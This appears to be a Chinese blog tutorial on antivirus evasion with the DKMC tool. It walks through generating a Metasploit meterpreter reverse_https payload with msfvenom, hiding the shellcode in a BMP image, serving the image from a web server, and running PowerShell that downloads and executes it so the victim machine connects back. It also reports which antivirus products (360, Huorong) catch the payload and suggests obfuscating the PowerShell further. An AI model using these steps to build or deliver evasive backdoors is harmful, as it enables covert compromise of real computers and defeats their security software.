0x01 免杀能力一览表
几点说明:
1、上表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass。
2、为了更好的对比效果,大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。
3、由于本机测试时只是安装了360全家桶和火绒,所以默认情况下360和火绒杀毒情况指的是静态+动态查杀。360杀毒版本5.0.0.8160(2020.01.01),火绒版本5.0.34.16(2020.01.01),360安全卫士12.0.0.2002(2020.01.01)。
4、其他杀软的检测指标是在virustotal.com(简称VT)上在线查杀,所以可能只是代表了静态查杀能力,数据仅供参考,不足以作为免杀的精确判断指标。
5、完全不必要苛求一种免杀技术能bypass所有杀软,这样的技术肯定是有的,只是没被公开,一旦公开第二天就能被杀了,其实我们只要能bypass目标主机上的杀软就足够了。
0x02 DKMC介绍
DKMC是Don’t Kill My Cat (DKMC)的简称,谷歌翻译为"不要杀害我的小猫咪",这个名字也是挺少女心的…DKMC是一种生成混淆的shellcode的工具,并把shellcode合成到图像文件中,最终依靠PowerShell执行最终的shellcode有效负载。
0x03 安装DKMC
安装比较简单
$ git clone https://github.com/Mr-Un1k0d3r/DKMC
$ cd DKMC
$ mkdir output
执行python dkmc.py
即可
0x04 DKMC使用说明
执行python dkmc.py
后可以看到5个选项,
[*] (gen) Generate a malicious BMP image
[*] (web) Start a web server and deliver malicious image
[*] (ps) Generate Powershell payload
[*] (sc) Generate shellcode from raw file
[*] (exit) Quit the application
翻译一下
[*] (gen) 将msf的shellcode注入到一个BMP图像
[*] (web) 启动web服务用来分发BMP图像
[*] (ps) 生成ps的payload
[*] (sc) 将msf生成的raw文件转为shellcode
[*] (exit) 退出
这几个选项可不是都能生成payload,而是一起组合来生成免杀的文件。
生成一个后门的流程大体为:
1、先利用msf生成raw文件
2、利用sc讲raw文件转换为shellcode
3、利用gen将上一步的shellcode注入到一个BMP图像
4、利用ps生成基于powershell的BMP文件的payload
5、利用web提供的简单web服务进行分发BMP文件
4和5看起来有点乱,下面我演示一下就很容易明白了。
0x05 利用DKMC生成后门
1、先利用Msf生成raw格式的shellcode,稍微编码了一下
msfvenom -p windows/meterpreter/reverse_https LHOST=10.211.55.2 LPORT=3333 -e x86/shikata_ga_nai -b "\x00" -i 5 -a x86 -f raw -o /root/test15.raw
2、在主菜单中选择sc,然后设置source为/root/test15.raw,再执行run生成shellcode。
复制一下生成的shellcode,输入exit退回到主菜单。
3、在主菜单中选择gen,然后设置shellcode为上一步中生成的shellcode。
其他默认即可,执行run生成图像。
看到生成了output-1577907077.bmp图像文件,输入exit退回到主菜单。
4、在主菜单中选择ps,设置url地址,这个url地址就是web分发图像文件的地址。
我的parrot虚拟机的地址为10.211.55.24,我打算用默认的80端口,这样我的url地址为http://10.211.55.24/output-1577907077.bmp
使用命令set url http://10.211.55.24/output-1577907077.bmp
,然后执行run生成powershell执行脚本。
复制一下生成的ps代码,输入exit退回到主菜单。
5、最后一步,在主菜单中选择web,使用默认80端口,执行run即可。
访问虚拟机的80端口
图像可以正常打开
6、在我的测试机器上执行第4步生成的ps代码,不开杀软的时候可正常上线
我将ps执行代码中的-w hidden先去掉,这样可以看得直观一些
7、打开杀软进行测试
静态查杀都通过
在执行powershell代码时,火绒和360卫士会拦截报警,360杀毒没有反应
0x05 小结
DKMC主要把shellcode注入到bmp图像中,然后使用powershell来执行其中的shellcode,但是很多杀软都会监测powershell的执行动作,所以virustotal.com的静态检测不足以说明什么。其实还可以进一步对ps执行代码进行混淆免杀,这一点后续文章还会涉及这里就不展开说
参考
官方说明文档:https://github.com/Mr-Un1k0d3r/DKMC